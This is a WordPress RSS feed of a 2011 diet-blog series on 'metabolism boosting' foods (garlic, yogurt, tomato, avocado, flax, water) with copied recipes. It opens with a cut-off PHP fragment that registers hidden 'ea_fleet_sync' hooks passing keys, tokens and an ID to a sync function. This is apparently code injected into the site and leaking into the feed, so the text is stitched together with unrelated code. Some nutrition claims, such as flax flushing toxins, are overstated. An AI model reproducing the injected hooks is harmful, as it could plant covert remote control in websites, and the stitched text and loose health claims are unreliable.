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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); metabolism booster – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Mon, 27 Jun 2011 22:04:57 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp metabolism booster – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 Boost Your Metabolism- Garlic https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-garlic/ https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-garlic/#respond Mon, 27 Jun 2011 22:04:57 +0000 http://skinnygeneproject.dreamhosters.com/?p=1280 We are providing a 10-part series on our TOP 10 FOODS TO BOOST YOUR METABOLISM. This is the 10th post. To learn more about the Boost Your Metabolism series, please click here!

BOOST YOUR METABOLISM

The secret to boosting your metabolism is FEEDING your body what it needs.

You must eat the right foods, in the right quantities, to get your metabolism working for you, rather than against you. The amount of water, fat, fiber, protein, carbohydrates, sodium, cholesterol, EFAs (Essential Fatty Acids), and vitamins & minerals you consume on a daily basis will either increase your metabolism or your waistline.

The tenth and FINAL food  in our TOP 10 FAVORITE FOODS TO BOOST YOUR METABOLISM is GARLIC!

BENEFITS OF GARLIC    

 

Photo by Mullica

 

 Garlic, which is sometimes referred to as the “stinking rose”, may have you reaching for a slice of gum, but that is not all garlic does for you!  There are some unbelievable metabolism boosting health benefits packed in those tiny cloves.

Although our breath may not love garlic, our hearts certainly do!  Garlic helps regulate our blood pressure, keeps our arteries free of plaque, lowers cholesterol and triglycerides, and lowers our risk of heart attack.  When our heart is healthy, our body’s metabolism will function at a better rate.

A few research studies have found a relationship with daily garlic intake and the improvement in insulin sensitivity, which lowers your risk of diabetes and helps with weight loss.  Garlic also has antioxidant properties which help fight the bad free radicals that try to slow our metabolism as well.

Garlic should be a part of our diet everyday!  Here are great recipes to try!

For a health bonus, allow your cut garlic to sit for 5 minutes prior to cooking or mixing with ingredients.  The 5 minutes is worth the wait!

RECIPES

 

  Submitted By: Danni

Prep Time: 5 MinutesCook Time: 10 Minutes Ready In: 15 MinutesServings: 4

“Thinly sliced garlic is a simple way to jazz up plain old spinach. With just a touch of butter and a quick stir, you’ll have a vegetable side dish that tastes great and pairs with just about anything!”

Ingredients:

1 tablespoon unsalted butter6 cloves garlic, thinly sliced2 (10 ounce) bags fresh spinach 1 teaspoon garlic salt1/2 lemon, juiced

 

Directions:

1. Heat the butter in a skillet over medium heat. Stir in the garlic; cook and stir until the garlic is fragrant, about 2 minutes. Add the spinach a few handfuls at a time, stirring until wilted before adding more, about 5 minutes. Stir in the lemon juice, and season with garlic salt.

Lemon Garlic Salmon:

http://www.garlicrecipes.org/lemon-garlic-salmon.html

2 tablespoons of butter.
2 teaspoons of garlic, minced.
1 teaspoons of lemon pepper.
2 six-ounce salmon fillets.
Lemon juice.

Instructions:

Melt the 2 tablespoons of butter in a suitably-sized skillet over medium-high heat.

Stir in the 2 teaspoons of minced garlic.

Season the fillets of salmon on both sides with the lemon pepper.

Place the fillets in a pan and cook until it flakes when tested with a fork. Make certain to flip the fillets midway through cooking to brown on each side.

Sprinkle with lemon juice.

Serve.

   

Garlic Kale

“A delicious, garlicky way to cook the underused, antioxidant rich kale!”

Ingredients:

1 bunch kale2 tablespoons olive oil 4 cloves garlic, minced

 

Directions:

1. Tear the kale leaves into bite-size pieces from the thick stems; discard the stems.
2. Heat the olive oil in a large pot over medium heat. Cook and stir the garlic in the hot oil until softened, about 2 minutes. Add the kale and continue cooking and stirring until the kale is bright green and wilted, about 5 minutes more
]]> https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-garlic/feed/ 0 Boost Your Metabolism Series- Yogurt https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-yogurt/ https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-yogurt/#respond Mon, 13 Jun 2011 19:55:20 +0000 http://skinnygeneproject.dreamhosters.com/?p=1264 We are providing a 10-part series on our TOP 10 FOODS TO BOOST YOUR METABOLISM. This is the 8th post. To learn more about the Boost Your Metabolism series, please click here!

BOOST YOUR METABOLISM

The secret to boosting your metabolism is FEEDING your body what it needs.

You must eat the right foods, in the right quantities, to get your metabolism working for you, rather than against you. The amount of water, fat, fiber, protein, carbohydrates, sodium, cholesterol, EFAs (Essential Fatty Acids), and vitamins & minerals you consume on a daily basis will either increase your metabolism or your waistline.

The eighth one in our TOP 10 FAVORITE FOODS TO BOOST YOUR METABOLISM is YOGURT!

BENEFITS OF YOGURT

 
 

Photo by Ashles

Yogurt is one of the few animal products that makes the list of super foods to boost your metabolism. The creamy consistency, not only tastes delicious, but provides your body with some unbelievable benefits.  Yogurt contains probiotics – the good bacteria (naturally present in yogurt) that helps with the digestion of food, absorption of nutrients, and keeps your gut healthy. 

Fat burning bonus:  Researchers have found that increasing your intake of dairy improves your metabolism of fat, which helps trim your waist line. 

Yogurt is a good source of Calcium and Vitamin D, and it contains important micronutrients required for functioning of your heart, muscles (calorie burners), nerve functioning, blood clotting, and bone health.

There are so many delicious ways to enjoy the benefits of yogurt. Pineapple upside down cake, raspberry cheesecake, apple turnover, Boston cream pie, and red velvet cake are some of the fun flavored choices of Light Yoplait yogurt.  

That leads us to one more wonderful benefit of yogurt- it is low in calories. With only 60-110 calories per serving, yogurt is a great choice as a snack or dessert.  You can keep yogurt interesting by pairing vanilla yogurt with fresh fruits, especially berries or blend together for a smoothie.

Yogurt can also be a nice substitution to lower fat when baking.  Here are some tips from Taste of Home (http://www.tasteofhome.com/Healthy/Recipe-Makeovers/Baking-Techniques/Yogurt-for-Lower-Fat-Baking­)

  • When a recipe calls for butter, replace half the butter with half as much yogurt. For instance, instead of 1 cup butter, use 1/2 cup butter and 1/4 cup yogurt.
  • When a recipe calls for shortening or oil, replace half the oil with 3/4 the amount of yogurt. For example, instead of 1 cup oil, use 1/2 cup oil and 1/4 cup plus 2 tablespoons yogurt.
  • Substitute yogurt cup for cup for sour cream in recipes.
  • Yogurt can even replace some of the water or milk in a recipe. Start by substituting 1/4 of the liquid with yogurt. The result will be creamier and more flavorful.

RECIPES

Granola-Whole Wheat Waffles with Double-Berry Sauce
http://www.yoplait.com/recipe/granola-whole-wheat-waffles-with-double-berry-sauce?print=true 
 Are you a weekend breakfast chef? Serve wheaty granola waffles in your home restaurant.

 

Prep Time:25 min
Start to Finish:25 min
Makes:24 (4-inch) waffles

Ingredients

Sauce
2/3 cup maple-flavored syrup
2/3 cup raspberry jam or preserves
1 cup strawberries, cut into fourths
Waffles
1 1/2 cups Original Bisquick® mix
1/2 cup granola cereal
1/2 cup Gold Medal® whole wheat flour
1 1/2 cups milk
3 tablespoons vegetable oil
2 eggs
1 container (6 oz) Yoplait® Original strawberry yogurt (2/3 cup)

Directions

1. In 1 1/2-quart saucepan, heat syrup and jam to boiling, stirring occasionally. Stir in strawberries; remove from heat and keep warm.
2. Heat waffle iron; grease with shortening if necessary (or spray with cooking spray before heating).
3. In medium bowl, stir all waffle ingredients until blended. Pour batter by 2/3 cupfuls onto center of hot waffle iron; close lid.
4. Bake 2 to 3 minutes or until steaming stops and waffle is golden brown. Carefully remove waffle. Serve with sauce.
High Altitude (3500-6500 ft): Bake about 4 minutes.

 

Strawberry Smoothie
http://www.yoplait.com/recipe/strawberry-smoothieTropical yogurt and fresh fruit mix it up in this terrific blender drink.

 

Prep Time:10 min
Start to Finish:10 min
Makes:1 serving

Ingredients

1 container(6 oz) Yoplait® Original 99% Fat Free strawberry, strawberry kiwi or strawberry mango yogurt
1/2 cup sliced fresh or frozen strawberries
1/2 cup orange or pineapple juice
  Pineapple chunks, strawberries or kiwifruit slices, if desired

Directions

 1. In blender, place yogurt, strawberries and juice. Cover; blend on medium speed about 2 minutes or until smooth.
2. Pour into serving glass. Garnish with pineapple. Serve immediately.

 

Caramel Apple Yogurt Parfaits
Enjoy this delicious parfait layered with Yoplait® 99% Fat Free yogurt, apples and caramel topping that is ready in 10 minutes – perfect for a dessert.

 

Prep Time:10 min
Start to Finish:10 min
Makes:4 servings

Ingredients

2 cups Yoplait® 99% Fat Free creamy vanilla yogurt or Yoplait® Fat Free plain yogurt (from 2-lb container)
2 medium unpeeled apples or pears, cut into chunks (2 cups)
1/4 cup caramel fat-free topping
2 tablespoons coarsely chopped pecans or walnuts

 

Directions

1. Reserve 1/4 cup yogurt for topping. Divide remaining yogurt among 4 (8-oz) glasses or dessert dishes. Spoon 1/2 cup of the apple chunks over yogurt in each glass.
2. Top each with 1 tablespoon of the remaining yogurt. Spoon 1 tablespoon caramel topping over yogurt. Sprinkle pecans over each parfait. Serve immediately.

]]> https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-yogurt/feed/ 0 Boost Your Metabolism Series- Tomato https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-tomato/ https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-tomato/#respond Mon, 06 Jun 2011 20:22:23 +0000 http://skinnygeneproject.dreamhosters.com/?p=1257 We are providing a 10-part series on our TOP 10 FOODS TO BOOST YOUR METABOLISM.  This is the 7th post. To learn more about the Boost Your Metabolism series, please click here!

BOOST YOUR METABOLISM 

The secret to boosting your metabolism is FEEDING your body what it needs.  

You must eat the right foods, in the right quantities, to get your metabolism working for you, rather than against you. The amount of water, fat, fiber, protein, carbohydrates, sodium, cholesterol, EFAs (Essential Fatty Acids), and vitamins & minerals you consume on a daily basis will either increase your metabolism or your waistline.

The seventh one in our TOP 10 FAVORITE FOODS TO BOOST YOUR METABOLISM is TOMATO!

BENEFITS OF TOMATO

Photo by Maplessinseattle

The debate may go on whether the tasty tomato is a fruit or a vegetable, but one thing is for sure, the tomato is a super food for your body’s metabolism.  Tomatoes are naturally low in calories and high in fiber, both good for satisfying your appetite and maintaining a healthy weight. 

Tomatoes are rich in antioxidants that fight the bad free radicals that are unfortunately present during nutrient metabolism or from the environment (such as pollution and UV rays).  The good news is that a good intake of antioxidant rich fruits and vegetables, including high amounts of tomatoes,  counteract these free radicals. 

The antioxidant most prevalent  in the tomato is lycopene, which is found in large quantities in the outer skin of the tomato, but also found inside too.  Research has found that intake of these antioxidants help protect your body’s cells from damage and decrease risk of heart disease and cancer, especially prostate cancer in men.

Caution: Watch the calories when adding tomato sauce to spaghetti.The calories  in a plate full of pasta can quickly add up. 

Other tomato-based foods that can be dangerous are jars of salsa, cans of diced tomatoes, tomato juice, and tomato soup – all are loaded with sodium.  Be sure to read the labels of these tomatoes for “no added salt” or “low sodium”. 

Incorporating tomatoes into your everyday routine is essential to optimize your metabolism and your health.  Here are a few ideas and recipes to try.

Add tomatoes to all of your meals!

  • Add a slice on every sandwich and in your wrap
  • Top your salad with baby tomatoes, diced tomatoes, or wedges
  • Add chopped tomatoes to eggs and omelets
  • Tomatoes are a nice addition to cottage cheese
  • Add to pizzas, pastas, stir-fry, and kebabs 

 RECIPES

Baked Parmesan Tomatoes

http://www.eatingwell.com/recipes/baked_parmesan_tomatoes.html

From EatingWell:  August/September 2006

A sprinkle of Parmesan and a drizzle of olive oil transform tomatoes into the perfect side dish. Or try sandwiching them between slices of your favorite whole-wheat country bread.

4 servings | Active Time: 5 minutes | Total Time: 20 minutes

Ingredients

  • 4 tomatoes, halved horizontally
  • 1/4 cup freshly grated Parmesan cheese
  • 1 teaspoon chopped fresh oregano
  • 1/4 teaspoon salt
  • Freshly ground pepper, to taste
  • 4 teaspoons extra-virgin olive oil

Preparation

  1. Preheat oven to 450° F.
  2. Place tomatoes cut-side up on a baking sheet. Top with Parmesan, oregano, salt and pepper. Drizzle with oil and bake until the tomatoes are tender, about 15 minutes.

Nutrition

Per serving : 91 Calories; 6 g Fat; 2 g Sat; 4 g Mono; 4 mg Cholesterol; 6 g Carbohydrates; 3 g Protein; 2 g Fiber; 375 mg Sodium; 363 mg Potassium

Caprese Salad

http://www.eatingwell.com/recipes/caprese_salad.html

From EatingWell:  July/August 2008

Summer-ripe tomatoes and fresh mozzarella need only a sprinkling of fresh herbs, salt and pepper to shine in this simple summer salad.

4 servings, about 1 1/4 cups each | Active Time: 15 minutes | Total Time: 15 minutes

Ingredients

  • 2 medium red tomatoes, cut into wedges
  • 2 medium yellow tomatoes, cut into wedges
  • 3/4 cup diced fresh mozzarella cheese
  • 1/4 cup chopped fresh parsley
  • 2 tablespoons chopped fresh basil
  • 1/4 teaspoon salt
  • Freshly ground pepper, to taste

Preparation

  1. Gently toss tomatoes, mozzarella, parsley, basil and salt together in a large bowl. Season with pepper.

Nutrition

Per serving : 88 Calories; 5 g Fat; 3 g Sat; 0 g Mono; 17 mg Cholesterol; 6 g Carbohydrates; 5 g Protein; 2 g Fiber; 187 mg Sodium; 444 mg Potassium 

Halibut with tomato basil salsa

By Mayo Clinic staff

Dietitian’s tip: Halibut — in addition to cod, flounder and perch — is a lean fish, having less than 2.5 percent fat by weight. For a variation to this recipe, grill the halibut and spoon the tomato basil salsa over each fillet to serve.

By Mayo Clinic staff

Serves 4

Ingredients

2 tomatoes, diced
2 tablespoons fresh basil, chopped
1 teaspoon fresh oregano, chopped
1 tablespoon minced garlic
2 teaspoons extra-virgin olive oil
4 halibut fillets, each 4 ounces

Directions

Preheat the oven to 350 F. Lightly coat a 9-by-13-inch baking pan with cooking spray.

In a small bowl, combine the tomato, basil, oregano and garlic. Add the olive oil and mix well.

Arrange the halibut fillets in the baking pan. Spoon the tomato mixture over the fish. Place in the oven and bake until the fish is opaque throughout when tested with the tip of a knife, about 10 to 15 minutes.

Transfer to individual plates and serve immediately.

Nutritional Analysis

(per serving)

Serving size: 1 fillet
Calories 160 Cholesterol 36 mg
Protein 24 g Sodium 65 mg
Carbohydrate 3 g Fiber 1 g
Total fat 5 g Potassium 672 mg
Saturated fat 1 g Calcium 66 mg
Monounsaturated fat 3 g    

 

Avocado Bruschetta

http://www.myrecipes.com/recipe/avocado-bruschetta-10000001021247/

Photo by: Howard L. Puckett

  • YIELD: Makes 3 dozen
  • COURSE: Appetizers, Hors d’Oeuvres

Ingredients

  • 2 avocados, cubed
  • 2 plum tomatoes, seeded and diced
  • 2 green onions, chopped
  • 2 tablespoons fresh lime juice
  • 1 tablespoon white wine vinegar
  • 1 tablespoon olive oil
  • 2 teaspoons hot sauce
  • 1/2 teaspoon garlic powder
  • 1/4 teaspoon ground white pepper
  • 1/2 teaspoon salt
  • 3 tablespoons olive oil
  • 1 garlic clove, minced
  • 1/2 teaspoon salt
  • 36 French baguette slices
  • 1/4 cup fresh cilantro, chopped

Preparation

Combine first 10 ingredients in a bowl; toss gently to combine. Cover and chill 2 hours.

Combine 3 tablespoons olive oil, garlic, and salt. Place bread slices on a baking sheet, and brush evenly with olive oil mixture. Bake at 350° for 12 minutes or until toasted; cool.

Top each toast evenly with avocado mixture. Sprinkle with cilantro before serving.

Coastal Living JANUARY 2005

 

 

]]> https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-tomato/feed/ 0 Boost Your Metabolism Series- Avocado https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-avocado/ https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-avocado/#respond Fri, 27 May 2011 23:48:50 +0000 http://skinnygeneproject.dreamhosters.com/?p=1248 We are providing a 10-part series on our TOP 10 FOODS TO BOOST YOUR METABOLISM.  This is the 6th post. To learn more about the Boost Your Metabolism series, please click here!

BOOST YOUR METABOLISM 

The secret to boosting your metabolism is FEEDING your body what it needs.  

You must eat the right foods, in the right quantities, to get your metabolism working for you, rather than against you. The amount of water, fat, fiber, protein, carbohydrates, sodium, cholesterol, EFAs (Essential Fatty Acids), and vitamins & minerals you consume on a daily basis will either increase your metabolism or your waistline.

The sixth one in our TOP 10 FAVORITE FOODS TO BOOST YOUR METABOLISM is AVOCADO!

BENEFITS OF AVOCADO

Photo by Ingserban

Avocadoes are a super food that has received a bad reputation of being extremely high in fat.  When in actuality, it’s the fat that makes the avocado so super!  

Fat is an essential component of our diet.  Whether you are on a lower fat diet (20% of your calories come from fat) or a heart healthy diet (30% calories of your calories come from fat), remember it is the type of fat that will ultimately make a difference on your health and your waistline.

The fat in avocado is mostly the good fats – essential, polyunsaturated and monounsaturated.  These good fats have been found to lower the bad cholesterol and increase the good cholesterol, which is important for everyone, especially those with diabetes or are overweight and at risk for heart disease. 

One word of caution is the nutrient density of this super food.  One avocado should be divided into 5 – 1 oz servings- providing 50 calories, 3.5 grams unsaturated fat, total fat of 4.5 grams.  With one avocado totaling 250 calories, you can see a bowl of guacamole (and the fried chips) can provide 500-1000 calories and 50-75 grams of fat pretty quickly. 

Hopefully this does not scare you away from eating avocadoes.  Research has found that people who include avocadoes regularly in their diet actually weigh less than those who avoid avocadoes.  Between being a healthy fat, low carbohydrate, and good source of fiber, avocados are a win, win situation.

Avocadoes are not just for guacamole. Try adding avocado to salads, deli sandwiches or wraps, cottage cheese, soups, rice and beans, tacos, ceviche, salsa, pasta salad, tostado, hamburger, baked potato, and whatever else you can come up with!

Here are some great recipes to try from the California Avocado Commision. Enjoy!

RECIPES

DEVILED EGGS WITH CALIFORNIA AVOCADO

Recipe Provided By the California Avocado Commission

Deviled eggs with California Avocado filling.

Preparation: 0 min
Cook Time: 0 min
Total Time: 0 min
Serves: 24

Ingredients

  • 12 eggs
  • ½ cup mayonnaise
  • 4 tsp. prepared mustard
  • ½ tsp. salt
  • ¼ tsp. pepper
  • ½ medium onion, finely diced
  • 1 stalk celery, finely diced
  • 1 ripe, Fresh California Avocado

Instructions

  1. Hard boil and cool eggs. Remove shells, slice in half and remove yolk. Set aside white to be filled.
  2. Sauté onions and celery until tender. Place sautéed onions and celery into food processor (or blender) and puree. Add yolks, mayo, mustard, salt, pepper and avocado and blend well.
  3. Fill egg whites and sprinkle with paprika (if desired).

*Large avocados are recommended for this recipe. A large avocado averages about 8 ounces. If using smaller or larger size avocados adjust the quantity accordingly.

AVOCADO-CILANTRO BAGEL SPREAD

Recipe Provided By the California Avocado Commission

Preparation: 0 min
Cook Time: 0 min
Total Time: 0 min
Serves: 8

Ingredients

  • 1 ripe Fresh California Avocado
  • 1 oz. goat cheese
  • ¼ tsp. onion powder
  •  ½ Tbsp. chopped cilantro
  • ⅛ tsp. black pepper
  •  dash of cayenne pepper
  • ⅛ tsp. salt
  • 1Tbsp. fresh squeezed lime juice

Instructions

  1. Combine avocado with goat cheese and mix until well blended.
  2. Add remaining ingredients and mix well.
  3. Adjust salt to taste.
  4. Let stand for 1 hour at room temperature to let flavors blend. Serve.
  5. Garnish with fresh lime slices and a sprig of cilantro.

*Large avocados are recommended for this recipe. A large avocado averages about 8 ounces. If using smaller or larger size avocados adjust the quantity accordingly.

Nutrition information per serving

Nutrients per Serving: calories 45; protein 1g; carbohydrates 2g; total fat 3.5g; cholesterol 0mg; fiber 2g; sodium 50mg

Photo by Ingserban
Photo by Ingserban
]]> https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-avocado/feed/ 0 Boost Your Metabolism Series- Flax https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-flax/ https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-flax/#respond Fri, 13 May 2011 18:42:54 +0000 http://skinnygeneproject.dreamhosters.com/?p=1226 We are providing a 10-part series on our TOP 10 FOODS TO BOOST YOUR METABOLISM.  This is the 4th post. To learn more about the Boost Your Metabolism series, please click here!

BOOST YOUR METABOLISM 

The secret to boosting your metabolism is FEEDING your body what it needs.  

You must eat the right foods, in the right quantities, to get your metabolism working for you, rather than against you. The amount of water, fat, fiber, protein, carbohydrates, sodium, cholesterol, EFAs (Essential Fatty Acids), and vitamins & minerals you consume on a daily basis will either increase your metabolism or your waistline.

The fourth one in our TOP 10 FAVORITE FOODS TO BOOST YOUR METABOLISM is FLAX!

BENEFITS OF FLAX

Flaxseed has increased in popularity over the previous few years, but why? 

What is it about this little nutty grain that makes it a super food? 

 

Photo by Consumatron

 

Flaxseed is a lower carbohydrate grain, packed with protein, fiber, and essential fats.  Researchers have found that adding flaxseed to your diet is linked to lowering your blood cholesterol as much as a medication!  With heart disease topping the list of causes of death, it seems that adding a little ground flaxseed to your meal may be a good idea.

Looking For a Way to Boost Your Metabolism?

Adding flax seed to your diet will help in these 3 metabolic boosting ways:

1.) Fight Fat with Good Fat:  Increase your metabolism by feeding your body some fat; good fat that is, also known as essential fatty acids (EFAs). Flaxseed is one of the best sources of omega- 3 fatty acids. It has also been found that a diet higher in omega-3 fatty acids can aid in the shedding of body fat and preserve lean muscle.

2.) Fight Your Hunger with Fiber: Simply put, fiber is filling and causes you to eat less.  Flaxseed is rich in soluble and insoluble fiber, which also helps to cleanse the colon of toxins and metabolic waste.

3.) Fight Diabetes: Flaxseed has been found to benefit your blood sugar as well.  Intake of flaxseed daily reduces hemoglobin A1c levels, which lowers your risk of type 2 diabetes. After all, balanced blood sugar can create balanced eating. When blood sugar levels are normal, it may prevent hunger pains or constant hunger that can be associated with blood sugar spikes. 

The nutrition benefits of flaxseed go on and on.  Flaxseed has been found to reduce the risk of cancer, lower blood pressure, reduce inflammation associated with asthma, arthritis, and migraines, and reduce hot flashes in menopausal women. 

Flaxseed has a nice nutty flavor that is the perfect addition to warm cereals, sprinkled on yogurts, salads, cold cereal, and other creamy foods.  The whole flaxseed is difficult for our bodies to break down, so be sure to buy the ground or milled flaxseed to reap all of the nutrition benefits on the inside. 

Another way to incorporate flaxseed when baking is to substitute ¼ – ½ cup ground flaxseed for flour or 1 Tablespoon ground flaxseed and 2-3 Tablespoons water for 1 egg.    Flaxseed can also substitute for oil, 1 to 1. 

RECIPES 

  Banana Bread http://www.flaxhealth.com/recipes.htm#bananabread 
“One of my favorite childhood memories is the delicious smell of my mother’s banana bread as it baked. I’ve made a few minor changes to my mom’s original recipe, and I hope your family likes it as much as mine does.”-Jane Reinhardt-Martin, RD, LD.

  • 1-1/4 cups all purpose flour
  • 3/4 cup ground flaxseed
  • 2/3 cup white sugar
  • 2 teaspoons baking power
  • ¼ teaspoon salt
  • 2 eggs
  • ¼ cup skim milk
  • ¼ cup canola oil
  • 1 cup mashed bananas (about 3 medium or 2 large)
  • ½ teaspoon vanilla
  • 1/3 cup chopped walnuts
  1. Preheat oven to 350 F.
  2. In large bowl, mix flour, flax, sugar, baking powder, and salt together.
  3. In food processor or bowl, mash bananas. Then add eggs, milk, oil, and vanilla, and mix in well together.
  4. Mix wet ingredients into dry ingredients just until moistened.
  5. Fold in chopped nuts.
  6. Coat 8 ½ by 4 ½ inch loaf pan with non-stick spray.
  7. Pour batter in loaf pan. Bake for about 50-55 minutes until dark brown, or until a toothpick inserted in the center comes out clean. Let cool in the pan on a rack for at least 10-15 minutes before unmolding to cool completely on the rack.

Preparation time: 15 minutes

Baking Time: 50-55 minutes

Yield: 16 slices

This recipe is taken from The Amazing Flax Cookbook, by Jane Reinhardt-Martin, RD, LD. The Amazing Flax Cookbook

 

  Mrs. Field’s Chocolate Chip/Flax Cookies (Flax adjusted favorite family recipe)      http://www.flaxhealth.com/recipes.htm#chocolatechip2 
This is our family’s favorite Chocolate Chip Cookie Recipe…with even more flax adjustment! The fats are also cut in half in this recipe, as I substituted applesauce for half of the butter.Cream  Together:
2 cups brown sugar
2 cups white sugar (may substitute Splenda)
1 cup butter
1 cup applesauceAdd:
4 eggs (or 2 cups egg beaters)
2 tsp vanilla
1 tsp salt
1 tsp baking powder
1 tsp baking soda
3 cups flour
4 cups oatmeal (blended fast until powder)
2 cups ground flaxMix together:
24 ounces real chocolate chips (not semi-sweet). You may also use Dark chocolate Chips.You may need to add a little more flour at the end if it seems to need more body.Bake: on ungreased baking sheet for 9 minutes at 350 degrees. Take out of oven while still soft…they will firm up while cooling. A good Chewy cookie!

 

]]> https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-flax/feed/ 0 Boost Your Metabolism Series- Water https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-water/ https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-water/#respond Fri, 29 Apr 2011 20:46:31 +0000 http://skinnygeneproject.dreamhosters.com/?p=1209 We are providing a 10-part series on our TOP 10 FOODS TO BOOST YOUR METABOLISM.  This is the 2nd post. To learn more about the Boost Your Metabolism series, please click here!

BOOST YOUR METABOLISM 

The secret to boosting your metabolism is FEEDING your body what it needs.  

You must eat the right foods, in the right quantities, to get your metabolism working for you, rather than against you. The amount of water, fat, fiber, protein, carbohydrates, sodium, cholesterol, EFAs (Essential Fatty Acids), and vitamins & minerals you consume on a daily basis will either increase your metabolism or your waistline.

The second one in our TOP 10 FAVORITE FOODS TO BOOST YOUR METABOLISM is WATER! 

What if the secret to weight loss and increasing your metabolism is as simple as drinking water?

Yes it’s true; research from Virginia Tech by Dr. Brenda Davy found that being only 1% dehydrated will significantly decrease your metabolic rate.   On the other hand, staying hydrated will help you to eat less calories and lose weight.

Water also keeps your kidneys cleansed and your joints lubricated. It flushes toxins from your system and keeps your skin healthy and looking good.

WATER

To put it all in perspective, our bodies are 60% water. We lose approximately 9-10 cups of water daily (and even more if you exercise or are in hot weather), therefore it is essential for you to drink enough water to make up for what you lose to prevent slowing down your metabolism.  

An added bonus is that water is filling.  Dr. Davy’s research found that drinking 2 cups of water before meals helps reduce your calorie intake, which will result in weight loss.

 How  can water help optimize your metabolism?

 

1.       Drink the right amount

The American Dietetic Association recommends drinking 9 cups (8 oz each) of water per day for women and 13 cups of water per day for men.

Another rule of thumb is to take your weight in pounds, and divide it in half to calculate your water intake goal.  For example, if you weigh 150 pounds, you require ~75 fluid ounces of water per day.

2.       Listen to your body

Pay attention to the warning signs of dehydration. 

When using the bathroom, check the color of your urine. The pale or clear color indicates good hydration, where as a darker yellow color indicates dehydration. 

Constipation may also be a result of dehydration. 

Lastly, thirst is a late indicator of dehydration, so be sure to drink before you are thirsty.

Tips to Maximize Your Water Intake

  • Take a drink every time you pass a water fountain
  • Keep a glass or bottle of water at your desk if you’re a “subconscious” sipper
  • Instead of a coffee break, take a water break
  • Drink sparkling water with a squeeze of lemon at social gatherings
  • Drink water prior to each meal and throughout the day
  • Plan ahead, drink water prior to the start of your outdoor activities. Bring plenty of water in a cooler
  • If drinking alcohol, alternate each alcoholic beverage with a full glass of water
  • Use sweat as a red flag warning!  When you sweat you lose even more water, therefore you need to drink more!
  • Carry a water bottle with you as a reminder to drink
  • Add lemon and/or cucumber slices to water for refreshment
  • Eat a lot of water rich fruits and vegetables, most contain 80-90% water 

 

Fruits and vegetable with greater than 90% water content

 Cabbage, Cucumber, Tomato, Broccoli , Celery, Spinach , Lettuce, Cauliflower, Zucchini, Peppers, Watermelon, Strawberries, Grapefruit, Cantaloupe

 

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